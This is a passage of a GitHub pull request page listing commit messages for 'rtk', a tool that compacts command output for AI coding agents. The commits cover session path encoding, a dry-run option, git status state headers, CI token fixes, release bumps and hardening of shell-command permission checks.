the computed slug didn't match Claude's directory name, so rtk discover
found zero sessions.

Fixes rtk-ai#1457
…ath slug

Per claude-code#24067, underscore is replaced with '-'.
Per claude-code#40946, non-ASCII characters are each replaced with '-'.
Windows backslashes follow the same rule.

Refactored encode_project_path to use chars().map() instead of
chained replace() calls for clarity.

Closes rtk-ai#1457
Addresses three review items from PR rtk-ai#1032:

- Bundle verbose+dry_run into a Clone+Copy InitContext struct (mirrors
  RunOptions in src/core/runner.rs). Collapses 25+ function signatures
  that already carried both fields and makes future flags one struct
  field instead of N signature changes.
- Emit "[dry-run] Nothing written." exactly once from the top-level
  run() and uninstall() exit points instead of from every sub-mode.
  Fixes the double footer when --agent cursor combined with default
  mode.
- Reject --show with --dry-run via clap conflicts_with rather than
  silently ignoring --dry-run.
- Add regression tests for run_default_mode and uninstall dry-run paths
  using the existing with_claude_dir_override scaffolding.
Adds a "Preview without writing" subsection under Step 1 covering the
--dry-run flag, -v interaction for content preview, that telemetry
consent is skipped, and the --show conflict. Required by CONTRIBUTING.md
section 4 (new features need documentation).
Consolidate stash default handlers to ensure "no local changes"
is properly detected across all stash operations, not just the
default push case.

Signed-off-by: Nicolas Le Cam <niko.lecam@gmail.com>
fix(stream): add semgrep flag for sh tests
hotfix(cicd): add git app token for release please
hotfix(cicd): add git app for release please token
hotfix(cicd): github app token for write actions
…master--components--rtk

chore(master): release 0.38.0
Default `rtk git status` runs `git status --porcelain -b` to build its
compact view, but porcelain v1 omits the state header git prints when a
rebase, merge, cherry-pick, revert, bisect, am, or sparse checkout is in
progress. That header is correctness-critical — hiding "You are currently
editing a commit while rebasing..." leaves the user thinking the repo is
clean when it isn't.

`run_status` already captures plain `git status` output as `raw_output`
for tracking, so this fix adds `extract_state_header` to pull the state
block out of it and prepends the block to the compact output. Returns
`None` when nothing is in progress so clean repos are unchanged.

Covered states: interactive / regular rebase, merge-with-unmerged-paths,
"still merging after conflicts fixed", cherry-pick, revert, bisect, am,
sparse checkout. Preserves the directive hints git prints alongside
(`git rebase --continue`, `git commit --amend`, `git bisect reset`,
etc.), while still filtering generic `(use "git add")` / `(use "git
restore")` noise.

Design principle: Correctness vs Token Savings — never hide information
that changes the user's understanding of repo state.
aeppling and others added 27 commits June 3, 2026 15:55
fix(grep): command token duplication in output withsame value filename or positional arg
…rebased

fix(git): fix panic on multibyte chars in commit output
- Decompose compound commands for permission checks (newline, background &, subshell `( )`) in addition to &&, ||, ;, | so hidden segments are checked.
- `contains_unattestable_construct`: flag command/process substitution and file-target redirects (fd-dup `2>&1` and /dev/null exempt) — RTK can't decompose these, so they are never auto-allowed.
- Route every host hook (Claude, VS Code, Gemini, Cursor, Copilot CLI) through a single decision flow. Precedence: Deny → (defer if unattestable) → Allow → Ask → Default. Auto-allow only on a positive Allow; otherwise defer to the host's own engine.
- Gemini: ask_user instead of hardcoded allow. Cursor: empty `{}` delegation, since permission:"ask" is not enforced on its sandboxed shell.
fix(permissions): never auto-allow not evaluable cmds, defer to hosts
…master--components--rtk

chore(master): release 0.42.2
- Decompose compound commands for permission checks (newline, background &, subshell `( )`) in addition to &&, ||, ;, | so hidden segments are checked.
- `contains_unattestable_construct`: flag command/process substitution and file-target redirects (fd-dup `2>&1` and /dev/null exempt) — RTK can't decompose these, so they are never auto-allowed.
- Route every host hook (Claude, VS Code, Gemini, Cursor, Copilot CLI) through a single decision flow. Precedence: Deny → (defer if unattestable) → Allow → Ask → Default. Auto-allow only on a positive Allow; otherwise defer to the host's own engine.
- Gemini: ask_user instead of hardcoded allow. Cursor: empty `{}` delegation, since permission:"ask" is not enforced on its sandboxed shell.
…ng-port

fix(security): port permission hardening from master + Copilot CLI adaptation
…master--components--rtk

chore(master): release 0.42.3
@AlobarQuest
AlobarQuest merged commit f487859 into main Jun 11, 2026
@AlobarQuest
AlobarQuest deleted the upstream-sync branch June 11, 2026 13:55
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

The rtk grep is not grep-compatible panic/SIGABRT on Broken pipe while writing stdout